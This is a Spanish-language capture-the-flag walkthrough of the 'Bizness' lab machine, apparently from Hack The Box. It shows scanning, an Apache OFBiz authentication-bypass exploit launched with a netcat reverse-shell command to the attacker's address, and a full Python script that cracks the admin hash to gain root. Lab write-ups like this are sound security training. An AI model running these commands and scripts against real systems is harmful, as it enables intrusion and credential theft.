# Bizness

<figure><img src="https://2648005400-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FRolFIJKRJaxKzAUqQKJb%2Fuploads%2Ffiyq6AWeKNyc18xGfzEI%2Fimage.png?alt=media&#x26;token=32f3689f-ec14-427a-aab7-d8fdac4ce6c0" alt=""><figcaption></figcaption></figure>

## <mark style="color:purple;">Primer acceso</mark>

Accedemos a la IP `10.10.11.252` a través del navegador. Está bloqueado de inicio así que añadimos el dominio `https://bizness.htb` a nuestro `/etc/hosts`

<figure><img src="https://2648005400-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FRolFIJKRJaxKzAUqQKJb%2Fuploads%2FCA7sDHLReMlFPrRrOoPY%2Fimage.png?alt=media&#x26;token=83ae4761-de03-47c7-a56b-c7e6ac8710c0" alt=""><figcaption></figcaption></figure>

Parece una web de servicios de tecnología. Es una landing page sin ningún enlace y solamente tiene un formulario que no envía nada, no tiene funcionalidad. Esta web utiliza la versión 1.18.0 de Nginx, por lo que podríamos buscar un exploit público:

<figure><img src="https://2648005400-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FRolFIJKRJaxKzAUqQKJb%2Fuploads%2Fpzzr190upGrn2KQUCAbI%2Fimage.png?alt=media&#x26;token=fff66431-d3ff-4474-8965-1aed26bdfa9b" alt=""><figcaption></figcaption></figure>

## <mark style="color:purple;">Escaneo de puertos</mark>

```bash
sudo nmap -v -sV -sC 10.10.11.252
```

```bash
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
80/tcp  open  http     nginx 1.18.0
443/tcp open  ssl/http nginx 1.18.0
```

En principio no encontramos nada relevante, solo tiene abiertos los puertos típicos.

## <mark style="color:purple;">Fuzzing</mark>

Haciendo fuzzing con dirsearch, encontramos un directorio de login en `/control/login`, lo que puede ser nuestro punto de acceso:

```bash
sudo apt-get install dirsearch
dirsearch -u https://bizness.htb -x 403,404
```

<figure><img src="https://2648005400-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FRolFIJKRJaxKzAUqQKJb%2Fuploads%2FU36btdM7376ByJQ69S0C%2Fimage.png?alt=media&#x26;token=e171cf71-5c4c-4e79-84c8-7449036f9e2d" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2648005400-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FRolFIJKRJaxKzAUqQKJb%2Fuploads%2FDejyTNehjwVNAJ998n6U%2Fimage.png?alt=media&#x26;token=0ceb3310-855a-48c8-b8c5-ecf9dca4c395" alt=""><figcaption></figcaption></figure>

Vemos que este login usa Apache OFBiz, por lo que vamos a buscar un exploit.

## <mark style="color:purple;">Exploit</mark>

Haciendo un poco de research, encontré el siguiente exploit:

{% embed url="<https://github.com/jakabakos/Apache-OFBiz-Authentication-Bypass?source=post_page-----d75eab167006-------------------------------->" %}

Solamente necesitamos abrir un listener de netcat y ejecutar el siguiente comando:

```bash
nc -nlvp 4444
```

```bash
python3 exploit.py --url https://bizness.htb/ --cmd 'nc -c bash 10.10.15.62 4444' 
```

<figure><img src="https://2648005400-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FRolFIJKRJaxKzAUqQKJb%2Fuploads%2FFVlHaTt5jTJ758ovkyaX%2Fimage.png?alt=media&#x26;token=46df96f1-1035-4c07-9331-def5eece7f48" alt=""><figcaption></figcaption></figure>

Obtenemos el user.txt:

<figure><img src="https://2648005400-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FRolFIJKRJaxKzAUqQKJb%2Fuploads%2Ff7t22sb5fQODf9G2GiGH%2Fimage.png?alt=media&#x26;token=10f6d02d-3e75-4efe-bf43-3f255b2f41cc" alt=""><figcaption></figcaption></figure>

## <mark style="color:purple;">Escalada de Privilegios</mark>

En la siguiente ruta encontramos la contraseña hasheada:

```
/opt/ofbiz/framework/resources/templates/AdminUserLoginData.xml
```

<figure><img src="https://2648005400-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FRolFIJKRJaxKzAUqQKJb%2Fuploads%2FUy1Up1vyCjYDxYSRn57B%2Fimage.png?alt=media&#x26;token=05d68931-b437-418d-baf7-c88b8d0cd7a2" alt=""><figcaption></figcaption></figure>

Hemos descubierto el password pero para crackearlo necesitamos el SALT. Haciendo research dentro de la máquina, encontramos el siguiente directorio que contiene el SALT:

```
/opt/ofbiz/runtime/data/derby/ofbiz/seg0
```

<figure><img src="https://2648005400-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FRolFIJKRJaxKzAUqQKJb%2Fuploads%2FpTCyikoxPPpbzreUj99D%2Fimage.png?alt=media&#x26;token=4a9f8597-07ad-48dd-8649-5bf6d0422e84" alt=""><figcaption></figcaption></figure>

Hay un montón de archivos .dat, por lo que tendremos que aplicar algún filtro para encontrar el hash del administrador, por lo que vamos a aplicar el siguiente filtro:

```bash
grep -r -l "admin" *.dat
```

<figure><img src="https://2648005400-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FRolFIJKRJaxKzAUqQKJb%2Fuploads%2FfzaObUcXV1al9xTkH8EP%2Fimage.png?alt=media&#x26;token=3a5e565e-ccf4-4330-b404-3edb592f1fa8" alt=""><figcaption></figcaption></figure>

Enumerando uno a uno los archivos, concontramos el que tiene el hash: `c6650.dat`

<figure><img src="https://2648005400-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FRolFIJKRJaxKzAUqQKJb%2Fuploads%2Fyjcz064F36aLXIOJtae9%2Fimage.png?alt=media&#x26;token=91d5d630-b43f-4559-918a-ed5b291fd9aa" alt=""><figcaption></figcaption></figure>

```
admin$"$SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2IYNN
```

Para crackear este tipo de hash voy a utilizar el siguiente script:

{% code title="bizness.py" %}

```python
import hashlib
import base64
import os
from tqdm import tqdm

class PasswordEncryptor:
    def __init__(self, hash_type="SHA", pbkdf2_iterations=10000):
        """
        Initialize the PasswordEncryptor object with a hash type and PBKDF2 iterations.

        :param hash_type: The hash algorithm to use (default is SHA).
        :param pbkdf2_iterations: The number of iterations for PBKDF2 (default is 10000).
        """
        self.hash_type = hash_type
        self.pbkdf2_iterations = pbkdf2_iterations

    def crypt_bytes(self, salt, value):
        """
        Crypt a password using the specified hash type and salt.

        :param salt: The salt used in the encryption.
        :param value: The password value to be encrypted.
        :return: The encrypted password string.
        """
        if not salt:
            salt = base64.urlsafe_b64encode(os.urandom(16)).decode('utf-8')
        hash_obj = hashlib.new(self.hash_type)
        hash_obj.update(salt.encode('utf-8'))
        hash_obj.update(value)
        hashed_bytes = hash_obj.digest()
        result = f"${self.hash_type}${salt}${base64.urlsafe_b64encode(hashed_bytes).decode('utf-8').replace('+', '.')}"
        return result

    def get_crypted_bytes(self, salt, value):
        """
        Get the encrypted bytes for a password.

        :param salt: The salt used in the encryption.
        :param value: The password value to get encrypted bytes for.
        :return: The encrypted bytes as a string.
        """
        try:
            hash_obj = hashlib.new(self.hash_type)
            hash_obj.update(salt.encode('utf-8'))
            hash_obj.update(value)
            hashed_bytes = hash_obj.digest()
            return base64.urlsafe_b64encode(hashed_bytes).decode('utf-8').replace('+', '.')
        except hashlib.NoSuchAlgorithmException as e:
            raise Exception(f"Error while computing hash of type {self.hash_type}: {e}")

# Example usage:
hash_type = "SHA1"
salt = "d"
search = "$SHA1$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I="
wordlist = '/usr/share/wordlists/rockyou.txt'

# Create an instance of the PasswordEncryptor class
encryptor = PasswordEncryptor(hash_type)

# Get the number of lines in the wordlist for the loading bar
total_lines = sum(1 for _ in open(wordlist, 'r', encoding='latin-1'))

# Iterate through the wordlist with a loading bar and check for a matching password
with open(wordlist, 'r', encoding='latin-1') as password_list:
    for password in tqdm(password_list, total=total_lines, desc="Processing"):
        value = password.strip()
        
        # Get the encrypted password
        hashed_password = encryptor.crypt_bytes(salt, value.encode('utf-8'))
        
        # Compare with the search hash
        if hashed_password == search:
            print(f'Found Password:{value}, hash:{hashed_password}')
            break  # Stop the loop if a match is found
```

{% endcode %}

<figure><img src="https://2648005400-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FRolFIJKRJaxKzAUqQKJb%2Fuploads%2FE5sUsGKeLJuOIhXPWhHw%2Fimage.png?alt=media&#x26;token=a7f0704c-1cdc-4121-846d-fa6eee6d0305" alt=""><figcaption></figcaption></figure>

Conseguimos desencriptar la contraseña!

```
monkeybizness
```

Ahora para cambiar al usuario root sería tan simple como lo siguiente:

```
su
monkeybizness
```

<figure><img src="https://2648005400-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FRolFIJKRJaxKzAUqQKJb%2Fuploads%2FWNLGRVwhgyJLbkEsNQgj%2Fimage.png?alt=media&#x26;token=fe987e55-1477-4589-a588-528ccc364057" alt=""><figcaption></figcaption></figure>

Y finalmente obtenemos la root flag 🏆
